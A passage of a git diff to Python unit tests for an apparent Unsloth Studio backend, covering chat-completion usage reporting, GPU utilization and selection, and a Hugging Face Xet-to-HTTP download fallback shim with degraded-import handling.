assert response.status_code == 200 + assert response.headers["content-type"].startswith("text/event-stream") + assert "The answer is 42." in response.text + assert "data: [DONE]" in response.text + + +class _EventsBackend(_ToolGgufBackend): + """Tool backend that yields a caller-supplied event list.""" + + def __init__(self, events): + self._events = events + + def generate_chat_completion_with_tools(self, **kwargs): + yield from self._events + + +def test_non_streaming_missing_usage_defaults_to_zero(monkeypatch): + # No metadata event at all: usage zero-defaults and finish_reason falls back. + events = [{"type": "content", "text": "hi"}] + response = _client(monkeypatch, _EventsBackend(events)).post( + "/chat/completions", json = _payload(stream = False) + ) + + assert response.status_code == 200 + body = response.json() + assert body["choices"][0]["message"]["content"] == "hi" + assert body["choices"][0]["finish_reason"] == "stop" + assert body["usage"]["prompt_tokens"] == 0 + assert body["usage"]["completion_tokens"] == 0 + assert body["usage"]["total_tokens"] == 0 + + +def test_non_streaming_preserves_length_finish_reason(monkeypatch): + events = [ + {"type": "content", "text": "truncated"}, + { + "type": "metadata", + "usage": {"prompt_tokens": 3, "completion_tokens": 9}, + "finish_reason": "length", + }, + ] + response = _client(monkeypatch, _EventsBackend(events)).post( + "/chat/completions", json = _payload(stream = False) + ) + + assert response.status_code == 200 + body = response.json() + assert body["choices"][0]["finish_reason"] == "length" + # total_tokens is derived when the server omits it. + assert body["usage"]["total_tokens"] == 12 + + +def test_non_streaming_preserves_cached_tokens(monkeypatch): + # KV-cache hit details from the metadata event must survive into the body + # (the tool path used to drop them and always report cached_tokens=0). + events = [ + {"type": "content", "text": "hi"}, + { + "type": "metadata", + "usage": { + "prompt_tokens": 20, + "completion_tokens": 4, + "prompt_tokens_details": {"cached_tokens": 16}, + }, + "finish_reason": "stop", + }, + ] + response = _client(monkeypatch, _EventsBackend(events)).post( + "/chat/completions", json = _payload(stream = False) + ) + + assert response.status_code == 200 + assert response.json()["usage"]["prompt_tokens_details"]["cached_tokens"] == 16 diff --git a/studio/backend/tests/test_gpu_selection.py b/studio/backend/tests/test_gpu_selection.py index d96f88e4a6..69ad560788 100644 --- a/studio/backend/tests/test_gpu_selection.py +++ b/studio/backend/tests/test_gpu_selection.py @@ -5,9 +5,11 @@ import asyncio import importlib.util import os import re +import sys import unittest +from contextlib import nullcontext from pathlib import Path -from types import SimpleNamespace +from types import ModuleType, SimpleNamespace from unittest.mock import patch from fastapi import HTTPException @@ -22,6 +24,7 @@ from utils.hardware import ( estimate_required_model_memory_gb, get_backend_visible_gpu_info, get_device_map, + get_gpu_utilization, get_offloaded_device_map_entries, get_parent_visible_gpu_ids, get_visible_gpu_utilization, @@ -33,6 +36,24 @@ import utils.hardware.hardware as _hw_module _BACKEND_ROOT = Path(__file__).resolve().parent.parent +async def _inline_to_thread(func, /, *args, **kwargs): + return func(*args, **kwargs) + + +def _fake_unsloth_attention_modules(resolver): + unsloth_module = ModuleType("unsloth") + models_module = ModuleType("unsloth.models") + utils_module = ModuleType("unsloth.models._utils") + utils_module.resolve_attention_implementation = resolver + models_module._utils = utils_module + unsloth_module.models = models_module + return { + "unsloth": unsloth_module, + "unsloth.models": models_module, + "unsloth.models._utils": utils_module, + } + + def _load_route_module(name: str, relative_path: str): spec = importlib.util.spec_from_file_location(name, _BACKEND_ROOT / relative_path) module = importlib.util.module_from_spec(spec) @@ -122,6 +143,139 @@ class TestResolveRequestedGpuIds(_GpuCacheResetMixin, unittest.TestCase): class TestVisibleGpuUtilization(_GpuCacheResetMixin, unittest.TestCase): + def test_gpu_utilization_preserves_primary_shape_with_devices(self): + devices = [ + { + "index": 5, + "visible_ordinal": 0, + "gpu_utilization_pct": 11.0, + "temperature_c": 40.0, + "vram_used_gb": 4.0, + "vram_total_gb": 24.0, + "vram_utilization_pct": 16.7, + "power_draw_w": 80.0, + "power_limit_w": 300.0, + "power_utilization_pct": 26.7, + }, + { + "index": 3, + "visible_ordinal": 1, + "gpu_utilization_pct": 22.0, + "temperature_c": 50.0, + "vram_used_gb": 8.0, + "vram_total_gb": 24.0, + "vram_utilization_pct": 33.3, + "power_draw_w": 120.0, + "power_limit_w": 300.0, + "power_utilization_pct": 40.0, + }, + ] + + with ( + patch("utils.hardware.hardware.get_device", return_value = DeviceType.CUDA), + patch.object(_hw_module, "IS_ROCM", False), + patch( + "utils.hardware.hardware._get_parent_visible_gpu_spec", + return_value = {"raw": "5,3", "numeric_ids": [5, 3]}, + ), + patch( + "utils.hardware.hardware._smi_query", + return_value = { + "available": True, + "devices": devices, + "backend_cuda_visible_devices": "5,3", + "parent_visible_gpu_ids": [5, 3], + "index_kind": "physical", + }, + ), + ): + result = get_gpu_utilization() + + self.assertIsInstance(result, dict) + self.assertTrue(result["available"]) + self.assertEqual(result["backend"], "cuda") + self.assertEqual(result["index"], 5) + self.assertEqual(result["visible_ordinal"], 0) + self.assertEqual(result["vram_total_gb"], 24.0) + self.assertEqual(result["parent_visible_gpu_ids"], [5, 3]) + self.assertEqual([device["index"] for device in result["devices"]], [5, 3]) + + def test_gpu_utilization_cpu_returns_legacy_unavailable_object(self): + with patch("utils.hardware.hardware.get_device", return_value = DeviceType.CPU): + result = get_gpu_utilization() + + self.assertEqual(result, {"available": False, "backend": "cpu", "devices": []}) + + def test_gpu_utilization_mlx_stays_available_without_agx_stats(self): + fake_psutil = ModuleType("psutil") + fake_psutil.virtual_memory = lambda: SimpleNamespace(total = 64 * 1024**3) + + with ( + patch.dict(sys.modules, {"psutil": fake_psutil}), + patch("utils.hardware.hardware.get_device", return_value = DeviceType.MLX), + patch("utils.hardware.hardware._read_apple_gpu_stats", return_value = {}), + patch( + "core.training.get_training_backend", + return_value = SimpleNamespace(_progress = None), + ), + patch("utils.hardware.apple.read_gpu_temperature_c", return_value = None), + patch("utils.hardware.apple.read_gpu_power_w", return_value = None), + ): + result = get_gpu_utilization() + + self.assertTrue(result["available"]) + self.assertEqual(result["backend"], "mlx") + self.assertIsNone(result["gpu_utilization_pct"]) + self.assertEqual(result["vram_used_gb"], 0) + self.assertEqual(result["vram_total_gb"], 64.0) + self.assertEqual(len(result["devices"]), 1) + + def test_gpu_utilization_xpu_uses_visible_devices(self): + with ( + patch("utils.hardware.hardware.get_device", return_value = DeviceType.XPU), + patch( + "utils.hardware.hardware.get_visible_gpu_utilization", + return_value = { + "available": True, + "backend": "xpu", + "parent_visible_gpu_ids": [2, 0], + "index_kind": "physical", + "devices": [ + { + "index": 2, + "visible_ordinal": 1, + "gpu_utilization_pct": None, + "temperature_c": None, + "vram_used_gb": 3.0, + "vram_total_gb": 16.0, + "vram_utilization_pct": 18.8, + "power_draw_w": None, + "power_limit_w": None, + "power_utilization_pct": None, + }, + { + "index": 0, + "visible_ordinal": 0, + "gpu_utilization_pct": None, + "temperature_c": None, + "vram_used_gb": 1.0, + "vram_total_gb": 16.0, + "vram_utilization_pct": 6.3, + "power_draw_w": None, + "power_limit_w": None, + "power_utilization_pct": None, + }, + ], + }, + ), + ): + result = get_gpu_utilization() + + self.assertEqual(result["backend"], "xpu") + self.assertEqual(result["index"], 0) + self.assertEqual(result["visible_ordinal"], 0) + self.assertEqual([device["index"] for device in result["devices"]], [0, 2]) + def test_visible_gpu_utilization_filters_to_parent_visible_ids(self): smi_output = "\n".join( [ @@ -272,6 +426,14 @@ class TestGpuAutoSelection(_GpuCacheResetMixin, unittest.TestCase): def test_get_offloaded_device_map_entries_handles_models_without_device_map(self): self.assertEqual(get_offloaded_device_map_entries(SimpleNamespace()), {}) + @patch( + "utils.hardware.hardware._resolve_model_identifier_for_gpu_estimate", + new = lambda model_name, **_: model_name, + ) + @patch( + "utils.hardware.hardware._load_config_for_gpu_estimate", + new = lambda *_args, **_kwargs: None, + ) def test_estimate_required_memory_formulas(self): eight_gb = 8 * (1024**3) @@ -432,6 +594,7 @@ class TestGpuAutoSelection(_GpuCacheResetMixin, unittest.TestCase): def test_prepare_gpu_selection_preserves_explicit_ids_without_auto_selection(self): with ( + patch("utils.hardware.hardware.get_device", return_value = DeviceType.CUDA), patch( "utils.hardware.hardware.resolve_requested_gpu_ids", return_value = [2, 3], @@ -464,6 +627,7 @@ class TestGpuAutoSelection(_GpuCacheResetMixin, unittest.TestCase): def test_prepare_gpu_selection_preserves_uuid_parent_visibility_in_auto_mode(self): with ( patch.dict(os.environ, {"CUDA_VISIBLE_DEVICES": "GPU-aaa,GPU-bbb"}, clear = True), + patch("utils.hardware.hardware.get_device", return_value = DeviceType.CUDA), patch( "utils.hardware.hardware.estimate_required_model_memory_gb", return_value = ( @@ -582,6 +746,7 @@ class TestPreSpawnGpuResolution(_GpuCacheResetMixin, unittest.TestCase): with ( patch.dict(os.environ, {"CUDA_VISIBLE_DEVICES": "GPU-aaa,GPU-bbb"}, clear = True), + patch("utils.hardware.hardware.get_device", return_value = DeviceType.CUDA), patch( "core.training.training._CTX.Queue", side_effect = [dummy_queue, dummy_queue], @@ -709,14 +874,23 @@ class TestRouteErrors(unittest.TestCase): has_audio_input = False, ) - with patch.object( - inference_route.ModelConfig, - "from_identifier", - return_value = model_config, + with ( + patch.object( + inference_route, + "ModelConfig", + SimpleNamespace(from_identifier = lambda **_kwargs: model_config), + ), + patch.object( + inference_route, + "_guard_chat_load_against_training", + return_value = None, + ), + patch.object(inference_route.asyncio, "to_thread", new = _inline_to_thread), + patch.object(inference_route, "_hf_offline_if_dns_dead", nullcontext), ): with self.assertRaises(HTTPException) as exc_info: asyncio.run( - inference_route.load_model( + inference_route._load_model_impl( request, SimpleNamespace( app = SimpleNamespace( @@ -835,9 +1009,9 @@ class TestRouteErrors(unittest.TestCase): with ( patch.object( - inference_route.ModelConfig, - "from_identifier", - return_value = model_config, + inference_route, + "ModelConfig", + SimpleNamespace(from_identifier = lambda **_kwargs: model_config), ), patch.object( inference_route, @@ -849,6 +1023,13 @@ class TestRouteErrors(unittest.TestCase): "get_llama_cpp_backend", return_value = SimpleNamespace(is_loaded = False), ), + patch.object( + inference_route, + "_guard_chat_load_against_training", + return_value = None, + ), + patch.object(inference_route.asyncio, "to_thread", new = _inline_to_thread), + patch.object(inference_route, "_hf_offline_if_dns_dead", nullcontext), patch( "core.export.get_export_backend", return_value = SimpleNamespace(current_checkpoint = None), @@ -856,7 +1037,7 @@ class TestRouteErrors(unittest.TestCase): ): with self.assertRaises(HTTPException) as exc_info: asyncio.run( - inference_route.load_model( + inference_route._load_model_impl( request, SimpleNamespace( app = SimpleNamespace( @@ -899,9 +1080,9 @@ class TestRouteErrors(unittest.TestCase): with ( patch.object( - inference_route.ModelConfig, - "from_identifier", - return_value = model_config, + inference_route, + "ModelConfig", + SimpleNamespace(from_identifier = lambda **_kwargs: model_config), ), patch.object( inference_route, @@ -913,6 +1094,13 @@ class TestRouteErrors(unittest.TestCase): "get_llama_cpp_backend", return_value = SimpleNamespace(is_loaded = False), ), + patch.object( + inference_route, + "_guard_chat_load_against_training", + return_value = None, + ), + patch.object(inference_route.asyncio, "to_thread", new = _inline_to_thread), + patch.object(inference_route, "_hf_offline_if_dns_dead", nullcontext), patch( "core.export.get_export_backend", return_value = SimpleNamespace(current_checkpoint = None), @@ -920,7 +1108,7 @@ class TestRouteErrors(unittest.TestCase): ): with self.assertRaises(HTTPException) as exc_info: asyncio.run( - inference_route.load_model( + inference_route._load_model_impl( request, SimpleNamespace( app = SimpleNamespace( @@ -1102,10 +1290,7 @@ class TestPerGpuFitGuardAllCounts(unittest.TestCase): cfg._attn_implementation = "eager" return "eager" - with patch( - "unsloth.models._utils.resolve_attention_implementation", - side_effect = _stub_resolver, - ): + with patch.dict(sys.modules, _fake_unsloth_attention_modules(_stub_resolver)): hardware_module._determine_attention_impl_for_gpu_estimate(config) self.assertFalse(hasattr(config, "_attn_implementation")) @@ -1133,10 +1318,7 @@ class TestPerGpuFitGuardAllCounts(unittest.TestCase): with ( patch.object(AutoModelForCausalLM, "_model_mapping", new = None), patch.object(AutoModel, "_model_mapping", new = None), - patch( - "unsloth.models._utils.resolve_attention_implementation", - side_effect = _stub_resolver, - ), + patch.dict(sys.modules, _fake_unsloth_attention_modules(_stub_resolver)), ): result = hardware_module._determine_attention_impl_for_gpu_estimate(config) @@ -1173,10 +1355,7 @@ class TestPerGpuFitGuardAllCounts(unittest.TestCase): inner._attn_implementation = "eager" return "eager" - with patch( - "unsloth.models._utils.resolve_attention_implementation", - side_effect = _stub_resolver, - ): + with patch.dict(sys.modules, _fake_unsloth_attention_modules(_stub_resolver)): hardware_module._determine_attention_impl_for_gpu_estimate(config) self.assertFalse(hasattr(config, "_attn_implementation")) diff --git a/studio/backend/tests/test_hf_xet_fallback.py b/studio/backend/tests/test_hf_xet_fallback.py index 39ecebd328..2fff744b64 100644 --- a/studio/backend/tests/test_hf_xet_fallback.py +++ b/studio/backend/tests/test_hf_xet_fallback.py @@ -1,18 +1,16 @@ # SPDX-License-Identifier: AGPL-3.0-only # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 -"""Unit tests for utils.hf_xet_fallback: the no-progress watchdog, the Xet->HTTP -transport policy, and the HF_HUB_DISABLE_XET precondition the fallback rests on. -CPU-only, no network, no real subprocess (the per-attempt download seam is -monkeypatched). +"""Tests for the Studio shim over the shared unsloth_zoo Xet -> HTTP fallback. + +The transport-policy matrix is tested once in unsloth_zoo; here we assert only the +Studio seam: re-exporting the shared API and injecting the marker-aware +prepare_cache_for_transport on the HTTP retry. CPU-only, no network, no real subprocess. """ from __future__ import annotations -import subprocess import sys -import threading -import time import types as _types from pathlib import Path @@ -22,9 +20,8 @@ _BACKEND_DIR = str(Path(__file__).resolve().parent.parent) if _BACKEND_DIR not in sys.path: sys.path.insert(0, _BACKEND_DIR) -# Stub heavy/unavailable deps before importing the module under test. Use the -# real structlog when present; a bare stub left in sys.modules would break later -# modules that log at import time. +# Stub heavy/unavailable deps before importing the module under test. Use real structlog when present; +# a bare stub would break later modules that log at import time. _loggers_stub = _types.ModuleType("loggers") _loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name) sys.modules.setdefault("loggers", _loggers_stub) @@ -34,171 +31,59 @@ except ImportError: sys.modules["structlog"] = _types.ModuleType("structlog") import huggingface_hub -from huggingface_hub import constants as hf_constants + +try: + import unsloth_zoo.hf_xet_fallback as _shared_mod + shared = _shared_mod +except Exception: # noqa: BLE001 - still collect degraded-path tests when unsloth_zoo is unavailable + shared = None import utils.hf_xet_fallback as xf -# --------------------------------------------------------------------------- # -# Watchdog: fires only on a constant-size .incomplete, sparse-aware byte total. -# --------------------------------------------------------------------------- # -REPO = "ztest/xet-watchdog" - - -@pytest.fixture -def hf_cache(tmp_path, monkeypatch): - monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(tmp_path)) - return tmp_path - - -def _blobs_dir(root: Path, repo_id: str = REPO) -> Path: - d = root / f"models--{repo_id.replace('/', '--')}" / "blobs" - d.mkdir(parents = True, exist_ok = True) - return d - - -def _wait( - predicate, - timeout: float = 2.0, - step: float = 0.02, -) -> bool: - deadline = time.monotonic() + timeout - while time.monotonic() < deadline: - if predicate(): - return True - time.sleep(step) - return predicate() - - -def test_constant_incomplete_fires_stall(hf_cache): - blobs = _blobs_dir(hf_cache) - (blobs / "deadbeef.incomplete").write_bytes(b"\0" * 1024) # never grows - - calls: list[str] = [] - stop = xf.start_watchdog( - repo_ids = [REPO], on_stall = calls.append, interval = 0.05, stall_timeout = 0.3 - ) - try: - assert _wait( - lambda: len(calls) >= 1, timeout = 3.0 - ), "watchdog never fired on a constant-size .incomplete" - finally: - stop.set() - assert "stalled" in calls[0].lower() - - -def test_growing_incomplete_never_stalls(hf_cache): - blobs = _blobs_dir(hf_cache) - part = blobs / "growing.incomplete" - part.write_bytes(b"\0" * 1024) - - grow_stop = threading.Event() - - def _grow(): - size = 1024 - while not grow_stop.wait(0.05): - size += 4096 - part.write_bytes(b"\0" * size) - - grower = threading.Thread(target = _grow, daemon = True) - grower.start() - - calls: list[str] = [] - stop = xf.start_watchdog( - repo_ids = [REPO], on_stall = calls.append, interval = 0.05, stall_timeout = 0.3 - ) - try: - time.sleep(1.0) # well past stall_timeout, but bytes keep growing - assert calls == [], "watchdog fired despite continuous progress" - finally: - stop.set() - grow_stop.set() - - -def test_no_incomplete_never_stalls(hf_cache): - blobs = _blobs_dir(hf_cache) - (blobs / "finalized_blob").write_bytes(b"\0" * 4096) # no .incomplete - - calls: list[str] = [] - stop = xf.start_watchdog( - repo_ids = [REPO], on_stall = calls.append, interval = 0.05, stall_timeout = 0.3 - ) - try: - time.sleep(0.8) - assert calls == [], "watchdog fired with no active .incomplete" - finally: - stop.set() - - -def test_stall_fires_at_most_once(hf_cache): - blobs = _blobs_dir(hf_cache) - (blobs / "frozen.incomplete").write_bytes(b"\0" * 2048) - - calls: list[str] = [] - stop = xf.start_watchdog( - repo_ids = [REPO], on_stall = calls.append, interval = 0.05, stall_timeout = 0.2 - ) - try: - assert _wait(lambda: len(calls) >= 1, timeout = 3.0) - time.sleep(0.6) # keep ticking; must not fire again - assert len(calls) == 1, f"on_stall fired {len(calls)} times, expected exactly 1" - finally: - stop.set() - - -def test_get_state_empty_cache(hf_cache): - assert xf.get_hf_download_state([REPO]) == (0, False) - - -def test_get_state_absent_cache_root(tmp_path, monkeypatch): - monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(tmp_path / "no-such-cache")) - assert xf.get_hf_download_state([REPO]) == (0, False) - - -def test_get_state_skips_local_paths(hf_cache): - # Filesystem paths are not HF repo IDs and must be ignored without error. - assert xf.get_hf_download_state(["/abs/path", "./rel", "~user", "c:\\x"]) == (0, False) - - -def test_get_state_sparse_aware(hf_cache): - blobs = _blobs_dir(hf_cache) - sparse = blobs / "sparse.incomplete" - with open(sparse, "wb") as f: - f.truncate(64 * 1024 * 1024) # large apparent size, few allocated blocks - st = sparse.stat() - if getattr(st, "st_blocks", 0) == 0: - pytest.skip("filesystem does not report st_blocks; sparse accounting unavailable") - total, has_incomplete = xf.get_hf_download_state([REPO]) - assert has_incomplete is True - assert total < st.st_size, "sparse partial counted at apparent size, not allocated blocks" - - -# --------------------------------------------------------------------------- # -# Transport policy: cached short-circuit, cancel, error propagation, and the -# single Xet->HTTP fallback. _run_download_attempt is faked, so no real spawn. -# --------------------------------------------------------------------------- # DL_REPO, FILE = "ztest/xet-dl", "model-Q4_K_XL.gguf" -@pytest.fixture(autouse = True) -def _no_real_cache_hit(monkeypatch): - """Default: the cached probe misses; tests override it to force a hit.""" +def _requires_shared(): + if shared is None: + pytest.skip("unsloth_zoo.hf_xet_fallback is not installed in this environment") + + +def test_shim_reexports_shared_api(): + _requires_shared() + assert xf.DownloadStallError is shared.DownloadStallError + for name in ( + "start_watchdog", + "get_hf_download_state", + "child_should_disable_xet", + "hf_hub_download_with_xet_fallback", + "snapshot_download_with_xet_fallback", + ): + assert hasattr(xf, name), f"shim missing {name}" + + +def test_child_should_disable_xet_truth_table(): + assert xf.child_should_disable_xet({"disable_xet": True}) is True + assert xf.child_should_disable_xet({"disable_xet": False}) is False + assert xf.child_should_disable_xet({}) is False + + +def test_shim_injects_studio_prepare_on_http_retry(monkeypatch): + """A Xet stall retries over HTTP and the shim runs Studio's marker-aware + ``prepare_cache_for_transport(..., 'http')`` before the retry.""" + _requires_shared() + for var in ("UNSLOTH_DISABLE_XET", "UNSLOTH_STABLE_DOWNLOADS", "HF_HUB_DISABLE_XET"): + monkeypatch.delenv(var, raising = False) monkeypatch.setattr(huggingface_hub, "try_to_load_from_cache", lambda *a, **k: None) + seen_disable_xet = [] -class _FakeAttempt: - """Records calls to the download seam and returns scripted results.""" - - def __init__(self, results): - self._results = list(results) - self.calls = [] - - def __call__( - self, + def fake_attempt( repo_id, - filename, - token, *, + kind, + params, + token, repo_type, disable_xet, cancel_event, @@ -206,147 +91,279 @@ class _FakeAttempt: interval, grace_period, on_status, + force_download = False, ): - self.calls.append( - _types.SimpleNamespace( - repo_id = repo_id, - filename = filename, - disable_xet = disable_xet, - repo_type = repo_type, - ) - ) - return self._results[len(self.calls) - 1] + seen_disable_xet.append(disable_xet) + return ("ok", "/cache/model.gguf") if disable_xet else ("stall", None) + monkeypatch.setattr(shared, "_run_download_attempt", fake_attempt) -def _install(monkeypatch, results): - fake = _FakeAttempt(results) - monkeypatch.setattr(xf, "_run_download_attempt", fake) - return fake - - -def test_cached_file_short_circuits(monkeypatch, tmp_path): - cached = tmp_path / "cached.gguf" - cached.write_bytes(b"\0" * 8) - monkeypatch.setattr(huggingface_hub, "try_to_load_from_cache", lambda *a, **k: str(cached)) - fake = _install(monkeypatch, []) # must not be called - - out = xf.hf_hub_download_with_xet_fallback(DL_REPO, FILE, None) - assert out == str(cached) - assert fake.calls == [], "spawned a download for an already-cached file" - - -def test_cancel_before_start_raises_no_attempt(monkeypatch): - fake = _install(monkeypatch, []) - ev = threading.Event() - ev.set() - with pytest.raises(RuntimeError, match = "Cancelled"): - xf.hf_hub_download_with_xet_fallback(DL_REPO, FILE, None, cancel_event = ev) - assert fake.calls == [] - - -def test_nonstall_error_propagates_without_fallback(monkeypatch): - fake = _install(monkeypatch, [("error", "RepositoryNotFoundError: 404 not found")]) - with pytest.raises(RuntimeError, match = "RepositoryNotFoundError"): - xf.hf_hub_download_with_xet_fallback(DL_REPO, FILE, None) - assert len(fake.calls) == 1, "deterministic error must not trigger an HTTP fallback" - assert fake.calls[0].disable_xet is False - - -def test_immediate_success_uses_xet_only(monkeypatch): - prepared = [] - monkeypatch.setattr( - "hub.utils.download_registry.prepare_cache_for_transport", - lambda *a, **k: prepared.append(a), - ) - fake = _install(monkeypatch, [("ok", "/cache/model.gguf")]) - out = xf.hf_hub_download_with_xet_fallback(DL_REPO, FILE, None) - assert out == "/cache/model.gguf" - assert len(fake.calls) == 1 and fake.calls[0].disable_xet is False - assert prepared == [], "no cache prep should run when Xet succeeds first try" - - -def test_stall_then_http_fallback_succeeds(monkeypatch): prepared = [] monkeypatch.setattr( "hub.utils.download_registry.prepare_cache_for_transport", lambda repo_type, repo_id, mode, *a, **k: prepared.append((repo_type, repo_id, mode)), ) - fake = _install(monkeypatch, [("stall", None), ("ok", "/cache/model.gguf")]) out = xf.hf_hub_download_with_xet_fallback(DL_REPO, FILE, None) assert out == "/cache/model.gguf" - assert len(fake.calls) == 2 - assert fake.calls[0].disable_xet is False # Xet first - assert fake.calls[1].disable_xet is True # HTTP fallback - assert prepared == [("model", DL_REPO, "http")], "must prep cache for HTTP before the retry" + assert seen_disable_xet == [False, True] # Xet first, then HTTP + assert prepared == [("model", DL_REPO, "http")], "shim must run Studio's marker-aware prep" -def test_second_stall_raises_download_stall_error(monkeypatch): - monkeypatch.setattr( - "hub.utils.download_registry.prepare_cache_for_transport", lambda *a, **k: None - ) - fake = _install(monkeypatch, [("stall", None), ("stall", None)]) - with pytest.raises(xf.DownloadStallError): - xf.hf_hub_download_with_xet_fallback(DL_REPO, FILE, None) - assert len(fake.calls) == 2 +def test_shim_snapshot_injects_studio_prepare(monkeypatch): + """The snapshot wrapper forwards Studio's marker-aware prep, like the file wrapper.""" + captured = {} + + def fake_snapshot(repo_id, **kwargs): + captured["repo_id"] = repo_id + captured["prepare_for_http_fn"] = kwargs.get("prepare_for_http_fn") + return "/tmp/snap-dir" + + monkeypatch.setattr(xf, "_shared_snapshot_download_with_xet_fallback", fake_snapshot) + out = xf.snapshot_download_with_xet_fallback("org/model") + assert out == "/tmp/snap-dir" + assert captured["repo_id"] == "org/model" + assert captured["prepare_for_http_fn"] is xf._studio_prepare_for_http -def test_cancelled_midattempt_raises_no_fallback(monkeypatch): - fake = _install(monkeypatch, [("cancelled", None)]) - with pytest.raises(RuntimeError, match = "Cancelled"): - xf.hf_hub_download_with_xet_fallback(DL_REPO, FILE, None) - assert len(fake.calls) == 1 +def test_degrades_gracefully_without_shared_helper(monkeypatch): + """On an older unsloth_zoo lacking the shared helper, the shim still imports (Studio + boots) and exposes stub API doing plain HF downloads with the watchdog disabled.""" + import importlib + + class _BlockShared: + def find_spec( + self, + name, + path = None, + target = None, + ): + if name == "unsloth_zoo.hf_xet_fallback": + raise ModuleNotFoundError(f"No module named '{name}'", name = name) + return None + + finder = _BlockShared() + saved_shared = sys.modules.pop("unsloth_zoo.hf_xet_fallback", None) + saved_shim = sys.modules.pop("utils.hf_xet_fallback", None) + sys.meta_path.insert(0, finder) + try: + degraded = importlib.import_module("utils.hf_xet_fallback") + + # Boots without raising and mirrors the shared API surface. + assert issubclass(degraded.DownloadStallError, RuntimeError) + assert degraded.child_should_disable_xet({"disable_xet": True}) is True + assert degraded.get_hf_download_state(["x"]) is None # unmeasurable + event = degraded.start_watchdog(repo_ids = ["x"], on_stall = lambda m: None) + assert hasattr(event, "set") and not event.is_set() # never fires + + # Degraded mode still emits heartbeats so the inactivity deadline is not tripped. + import time as _time + + beats = [] + hb_stop = degraded.start_watchdog( + repo_ids = ["x"], + on_stall = lambda m: None, + on_heartbeat = beats.append, + interval = 0.02, + ) + try: + deadline = _time.monotonic() + 2.0 + while not beats and _time.monotonic() < deadline: + _time.sleep(0.02) + assert beats, "degraded watchdog emitted no heartbeat" + finally: + hb_stop.set() + + # Downloads fall back to plain huggingface_hub (no watchdog, no crash). + called = {} + + def _fake_snapshot(repo_id, **kwargs): + called["repo_id"] = repo_id + return "/snap-dir" + + monkeypatch.setattr(huggingface_hub, "snapshot_download", _fake_snapshot) + assert degraded.snapshot_download_with_xet_fallback("org/model") == "/snap-dir" + assert called["repo_id"] == "org/model" + + # Cancellation still holds: an already-set cancel_event aborts before the HF download. + import threading as _threading + + cancelled = _threading.Event() + cancelled.set() + called.clear() + with pytest.raises(RuntimeError, match = "Cancelled"): + degraded.snapshot_download_with_xet_fallback("org/model", cancel_event = cancelled) + assert "repo_id" not in called, "degraded download ran despite cancellation" + finally: + sys.meta_path.remove(finder) + sys.modules.pop("utils.hf_xet_fallback", None) + if saved_shared is not None: + sys.modules["unsloth_zoo.hf_xet_fallback"] = saved_shared + if saved_shim is not None: + sys.modules["utils.hf_xet_fallback"] = saved_shim -def test_per_file_independent_fallback(monkeypatch): - """A stalled shard falls back; a sibling shard that succeeds does not.""" - monkeypatch.setattr( - "hub.utils.download_registry.prepare_cache_for_transport", lambda *a, **k: None - ) - fake = _install(monkeypatch, [("ok", "/a"), ("stall", None), ("ok", "/b")]) - assert xf.hf_hub_download_with_xet_fallback(DL_REPO, "shardA.gguf", None) == "/a" - assert xf.hf_hub_download_with_xet_fallback(DL_REPO, "shardB.gguf", None) == "/b" - assert [c.disable_xet for c in fake.calls] == [False, False, True] +def test_degrades_when_unsloth_zoo_entirely_absent(): + """When unsloth_zoo is absent entirely, the import raises + ModuleNotFoundError(name='unsloth_zoo') (top-level package). Guard that the shim still + degrades and does not re-raise, breaking every Studio import that pulls it in.""" + import importlib + + class _BlockZoo: + def find_spec( + self, + name, + path = None, + target = None, + ): + # Whole package absent, so ModuleNotFoundError.name is the top-level 'unsloth_zoo'. + if name == "unsloth_zoo" or name.startswith("unsloth_zoo."): + raise ModuleNotFoundError("No module named 'unsloth_zoo'", name = "unsloth_zoo") + return None + + finder = _BlockZoo() + saved = { + k: v + for k, v in list(sys.modules.items()) + if k == "unsloth_zoo" or k.startswith("unsloth_zoo.") + } + for k in saved: + del sys.modules[k] + saved_shim = sys.modules.pop("utils.hf_xet_fallback", None) + sys.meta_path.insert(0, finder) + try: + degraded = importlib.import_module("utils.hf_xet_fallback") + # Boots without raising and exposes the stub API. + assert issubclass(degraded.DownloadStallError, RuntimeError) + assert degraded.get_hf_download_state(["x"]) is None + event = degraded.start_watchdog(repo_ids = ["x"], on_stall = lambda m: None) + assert hasattr(event, "set") and not event.is_set() + finally: + sys.meta_path.remove(finder) + sys.modules.pop("utils.hf_xet_fallback", None) + sys.modules.update(saved) + if saved_shim is not None: + sys.modules["utils.hf_xet_fallback"] = saved_shim -# --------------------------------------------------------------------------- # -# Precondition: HF_HUB_DISABLE_XET is read at import time, so assert its effect -# in a FRESH interpreter (huggingface/huggingface_hub#3266 once ignored it). -# --------------------------------------------------------------------------- # -def _safe_path() -> str: +def test_degrades_when_shared_helper_import_raises_importerror(): + """unsloth_zoo can be installed yet fail to import when torch is missing (llama.cpp/GGUF-only + Studio), raising ImportError not ModuleNotFoundError. The shim must degrade for that too.""" + import importlib + + class _BlockWithImportError: + def find_spec( + self, + name, + path = None, + target = None, + ): + if name == "unsloth_zoo.hf_xet_fallback": + # Mirror a torch-less install: a plain ImportError with no .name. + raise ImportError("Unsloth: Pytorch is not installed.") + return None + + finder = _BlockWithImportError() + saved_shared = sys.modules.pop("unsloth_zoo.hf_xet_fallback", None) + saved_zoo = sys.modules.pop("unsloth_zoo", None) + saved_shim = sys.modules.pop("utils.hf_xet_fallback", None) + sys.meta_path.insert(0, finder) + try: + degraded = importlib.import_module("utils.hf_xet_fallback") + assert issubclass(degraded.DownloadStallError, RuntimeError) + assert degraded.get_hf_download_state(["x"]) is None + event = degraded.start_watchdog(repo_ids = ["x"], on_stall = lambda m: None) + assert hasattr(event, "set") and not event.is_set() + finally: + sys.meta_path.remove(finder) + sys.modules.pop("utils.hf_xet_fallback", None) + if saved_shared is not None: + sys.modules["unsloth_zoo.hf_xet_fallback"] = saved_shared + if saved_zoo is not None: + sys.modules["unsloth_zoo"] = saved_zoo + if saved_shim is not None: + sys.modules["utils.hf_xet_fallback"] = saved_shim + + +def test_retries_under_light_gpu_init_when_import_fails(monkeypatch): + """GPU detection in unsloth_zoo's __init__ raises NotImplementedError on a GPU-less host. The shim + retries under UNSLOTH_ZOO_DISABLE_GPU_INIT=1, restores the env, and degrades if the retry fails. + The backend loads lazily (first use of a heavy helper), so this triggers the load explicitly + before asserting the retry/degrade behavior.""" + import importlib import os - return os.environ.get("PATH", "") + + 